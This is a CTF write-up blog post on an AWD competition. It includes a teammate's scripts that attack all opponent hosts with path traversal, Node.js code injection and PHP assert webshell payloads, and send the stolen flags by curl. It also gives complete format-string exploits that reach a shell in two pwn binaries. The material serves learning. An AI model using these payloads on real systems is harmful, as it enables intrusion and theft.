记录一下被虐的经历。

全队就我一个菜鸡维护二进制,全场被痛打,很难受。记录一下线下 AWD 所需要做的准备,以及两道 pwn 的复现。

准备

第一次打 AWD,什么也不懂。

  1. 比赛前了解比赛赛制、环境。
  2. 服务器上线之后,第一时间改密码。
  3. 下载好 FileZillaXshell 等连接服务器的工具,把服务器上给的文件备份。
  4. 提前准备好自动化的脚本。

这里放一下队友 web 大佬的打全场脚本:

from requests import get
from os import system

for i in range(24):
    if i == 12:
        continue
    print(f"======{i+1} starts=======")
    url = f"http://172.16.{i+1}.101:20001/uploads/images/../../../../../../../flag"
    try:
        flag = get(url).text[:-1]
        system(f'curl http://172.16.200.20:9000/submit_flag/ -d "flag={flag}&token=Hn4JuwQQ7Mfaek2HAuTkB3S6k4e38EKXQJEdtDDWDfsda2tqQUgUHRCtrtxbS9hMkQndVbVfHsD"')
        print(f"\n{flag}")
    except:
        print(f"{i+1} : no")
        pass
    url = f"http://172.16.{i+1}.101:20001/category/test?0=%28function%28%29%7b%0a%20%20%20%20var%20fs%20%3d%20require%28%27fs%27%29%3b%0a%09var%20flag%20%3d%20fs.readFileSync%28%27%2fflag%27%2c%20%27utf-8%27%29%3b%0a%09fs.writeFileSync%28%27%2fhome%2fxctf%2fweb%2fstatic%2fjs%2ftest.js%27%2c%20flag%29%3b%0a%09return%201%3b%0a%7d%29%28%29%3b"
    try:
        get(url)
        url = f"http://172.16.{i+1}.101:20001/static/js/test.js"
        flag = get(url).text
        flag = get(url).text[:-1]
        system(f'curl http://172.16.200.20:9000/submit_flag/ -d "flag={flag}&token=Hn4JuwQQ7Mfaek2HAuTkB3S6k4e38EKXQJEdtDDWDfsda2tqQUgUHRCtrtxbS9hMkQndVbVfHsD"')
        print(f"\n{flag}")
    except:
        pass
from requests import post
from pyquery import PyQuery as pq
from os import system

for i in range(24):
    if i == 8:
        continue
    print(f"======{i+1} starts=======")
    if i == 12 or i == 2:
        continue
    payloads = [
        "@assert($_POST[cmd])",
        "@assert($_POST[cmd])",
        "@call_user_func(assert, $_POST[cmd])",
        "print(file_get_contents(chr(47).chr(102).chr(108).chr(97).chr(103)))"
    ]
    for p in payloads:
        url = "http://172.16." + str(i+1) + ".102:20002/?r=list&pages=123{${" + p + "}}123"
        t = post(url, data={'cmd' : 'system("/bin/cat /flag");'}).text
        try:
            d = pq(t)
            out = d('.pagecode').html()
            print(out)
            flag = out.split(';')[-2].split('\n')[1]
            if i==16:
                flag = flag[2:]
            print(f"{i+1} : {flag}")
            system(f'curl http://172.16.200.20:9000/submit_flag/ -d "flag={flag}&token=Hn4JuwQQ7Mfaek2HAuTkB3S6k4e38EKXQJEdtDDWDfsda2tqQUgUHRCtrtxbS9hMkQndVbVfHsD"')
            print('\n')
        except:
            print(f"{i+1} not avai")
            pass

复现

全场贡献只有成功 patch 了最容易的第二题。

once_time

checksec:

[*] '/home/assassinq/Desktop/once_time'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

拖进 ida,main 函数:

unsigned __int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
  char s; // [rsp+0h] [rbp-20h]
  char v5; // [rsp+8h] [rbp-18h]
  unsigned __int64 v6; // [rsp+18h] [rbp-8h]

  v6 = __readfsqword(0x28u);
  setbuf();
  printf("input your name: ", a2);
  memset(&s, 0, 9uLL);
  read(0, &s, 9uLL);
  v5 = 0;
  printf("wellcome :%s\n", &s);
  return vul();
}

另一个关键函数:

unsigned __int64 vul()
{
  char s; // [rsp+0h] [rbp-20h]
  unsigned __int64 v2; // [rsp+18h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  printf("leave a msg: ");
  memset(&s, 0, 0x10uLL);
  read(0, &s, 0x20uLL);
  if ( strstr(&s, "%p") || strstr(&s, "$p") )
  {
    puts("do you want to leak info?");
    exit(0);
  }
  printf(&s, "$p");
  return __readfsqword(0x28u) ^ v2;
}

vul()read(0, &s, 0x20uLL); 处存在 buffer overflow,又因为开了 Canary,需要想办法绕过;printf(&s, "$p"); 处存在 format string,可以实现任意地址的读和写。

  1. 首先将 __stack_chk_fail 的 got 表改成 main 函数的地址,那么这样每次栈溢出报错的时候就会再一次执行 main 函数,从而实现多次输入,可以多次利用 printf(&s,"$p"); 进行格式化字符串攻击;
  2. 泄漏 libc 的基址,这里用泄漏 read 函数的真实地址来实现;
  3. 将 one_gadget 写入 exit() 函数的 got 表中。
0008| 0x7fffffffdc10 ("BBBBBBBB\n") ; 第二次输入
0016| 0x7fffffffdc18 --> 0xa ('\n')
0024| 0x7fffffffdc20 --> 0x0
0032| 0x7fffffffdc28 --> 0x8e2d258951a85400
0040| 0x7fffffffdc30 --> 0x7fffffffdc60 --> 0x400a20 (push   r15)
0048| 0x7fffffffdc38 --> 0x400a08 (mov    rcx,QWORD PTR [rbp-0x8])
0056| 0x7fffffffdc40 ("AAAAAAAA") ; 第一次输入

调试出来可以看到第一次输入位于第二次输入后的第六个参数,64 位下偏移就是 12。为了达到触发 __stack_chk_fail 的目的,我们还需要覆盖掉 Canary,位于第二次输入后的第三个参数处,故至少需要输入大于 24 个字符。read 总共读 0x20 个字符,我们这里也就读 0x20 个,以触发 __stack_chk_fail

第二步利用 read 的 got 表将 libc 基址泄漏出来。然后在已知 libc 版本的情况下,第三步将 exit 的 got 表覆盖成 one_gadget。最后送个 %p 或者 $p 上去 getshell。exp 如下:

#!/usr/bin/env python
#coding=utf-8
from pwn import *
# context.log_level = 'debug'
context.arch = 'amd64'
p = process('./once_time')
elf = ELF('./once_time')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
one_gadget_offset = 0xf1147

info('>>> REPLACE __stack_chk_fail WITH main <<<')
main = 0x400983
stack_chk_fail_got = elf.got['__stack_chk_fail']
p.recvuntil('input your name: ')
p.sendline(p64(stack_chk_fail_got))
p.recvuntil('leave a msg: ')
payload = '%{}c%12$n'.format(str(main))
payload = payload.ljust(0x20, '\x00')
print repr(payload)
p.send(payload)

info('>>> LEAK libc <<<')
read_got = elf.got['read']
p.recvuntil('input your name: ')
p.sendline(p64(read_got))
p.recvuntil('leave a msg: ')
payload = '%12$s'
payload = payload.ljust(0x20, '\x00')
print repr(payload)
p.send(payload)
data = p.recvuntil('\x7f')
print u64(data[-6:].ljust(8, '\x00'))
read_offset = libc.symbols['read']
libc_base = u64(data[:6].ljust(8, '\x00')) - read_offset
# libc.address = read - read_offset
success('libc_base = ' + hex(libc_base))

one_gadget = libc_base + one_gadget_offset
success('one_gadget = ' + hex(one_gadget))

info('>>> FMTSTR ATTACK <<<')
info('FIRST WORD')
info(hex(one_gadget & 0xFFFF))
exit_got = elf.got['exit']
p.recvuntil('input your name: ')
p.sendline(p64(exit_got))
p.recvuntil('leave a msg: ')
payload = '%{}c%12$hn'.format(str(one_gadget & 0xFFFF))#取最低的双字节并对齐
payload = payload.ljust(0x20, '\x00')
print repr(payload)
p.send(payload)

info('SECOND WORD')
info(hex((one_gadget >> 16) & 0xFFFF))
p.recvuntil('input your name: ')
p.sendline(p64(exit_got + 2))
p.recvuntil('leave a msg: ')
payload = '%{}c%12$hn'.format(str((one_gadget >> 16) & 0xFFFF))
payload = payload.ljust(0x20, '\x00')
print repr(payload)
p.send(payload)

info('THIRD WORD')
info(hex((one_gadget >> 32) & 0xFFFF))
p.recvuntil('input your name: ')
p.sendline(p64(exit_got + 4))
p.recvuntil('leave a msg: ')
payload = '%{}c%12$hn'.format(str((one_gadget >> 32) & 0xFFFF))
payload = payload.ljust(0x20, '\x00')
print repr(payload)
p.send(payload)

info('FOURTH WORD')
info(hex((one_gadget >> 48) & 0xFFFF))
p.recvuntil('input your name: ')
p.sendline(p64(exit_got + 6))
p.recvuntil('leave a msg: ')
if (one_gadget >> 48) & 0xFFFF != 0:
    payload = '%{}c%12$hn'.format(str((one_gadget >> 48) & 0xFFFF))
else:
    payload = '%12$hn'
payload = payload.ljust(0x20, '\x00')
print repr(payload)
p.send(payload)

p.recvuntil('input your name: ')
p.sendline('root')
p.recvuntil('leave a msg: ')
p.sendline('%p')
p.recvuntil('\n')
success('>>> PWNED BY ASSASSINQ <<<')
p.interactive()

messageboard

这题大佬们都用堆做,然而我一点都不会。后来神仙 pizza 给了一种 format string 的超简单做法。

[*] '/home/assassinq/Desktop/messageboard'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

拖进 ida 里,典型的堆题的形式,这里只看第四个选项:

unsigned __int64 getshell()
{
  int fd; // ST04_4
  __int64 v2; // [rsp+8h] [rbp-58h]
  __int128 v3; // [rsp+28h] [rbp-38h]
  __int64 *v4; // [rsp+38h] [rbp-28h]
  char *v5; // [rsp+40h] [rbp-20h]
  __int64 (__fastcall *v6)(_QWORD, _QWORD); // [rsp+48h] [rbp-18h]
  unsigned __int64 v7; // [rsp+58h] [rbp-8h]

  v7 = __readfsqword(0x28u);
  printf("guess a number:");
  v3 = 0uLL;
  v5 = command;
  v6 = (__int64 (__fastcall *)(_QWORD, _QWORD))((char *)getshell + 317);
  readline((__int64)nptr, 0x18u);
  fd = open("/dev/random", 0);
  read(fd, &v3, 2uLL);
  read(fd, (char *)&v3 + 8, 2uLL);
  v2 = atoi(nptr);
  v4 = &v2;
  sleep(1u);
  printf("you guess ", (char *)&v3 + 8);
  printf(nptr);
  printf(" the answer is %lld \n", (_QWORD)v3 + *((_QWORD *)&v3 + 1));
  if ( *v4 != (_QWORD)v3 + *((_QWORD *)&v3 + 1) )
  {
    puts("GG!");
    exit(0);
  }
  system(command);
  return __readfsqword(0x28u) ^ v7;
}

可以看到这里让我们猜测一个系统产生的随机数,猜对了就能 getshell。再来看看 pizza 的 exp:

from pwn import *
p = process('./messageboard')
p.recvuntil('choice >>')
p.sendline('4')
p.recvuntil('guess a number:')
payload = '%2$*11$s%2$*12$s%13$n'
p.sendline(payload)
p.interactive()

关于 *:宽度与精度格式化参数可以忽略,或者直接指定,或者用星号 * 表示取对应函数参数的值。例如 printf("%*d", 5, 10) 输出 10printf("%.*s", 3, "abcdef") 输出 abc

由此可知,第十一位和第十二位参数上存放的是随机数,第十三位则是我们的输入,这里将随机数的值写入我们的输入,达到 getshell 的目的。

堆的做法以后再来复现。

总结

比赛打下来,发现实力是重要的一部分,同时经验、技巧(猥琐发育)以及运气都是重要的因素。希望下次有更多的机会参与线下 AWD 比赛。

参考网站

https://www.jianshu.com/p/b8e448951125
https://zh.wikipedia.org/wiki/%E6%A0%BC%E5%BC%8F%E5%8C%96%E5%AD%97%E7%AC%A6%E4%B8%B2


ctf wp

本博客所有文章除特别声明外,均采用 CC BY-SA 3.0协议 。转载请注明出处!

2017-CSAW-Quals-realism
2018-XMan个人排位赛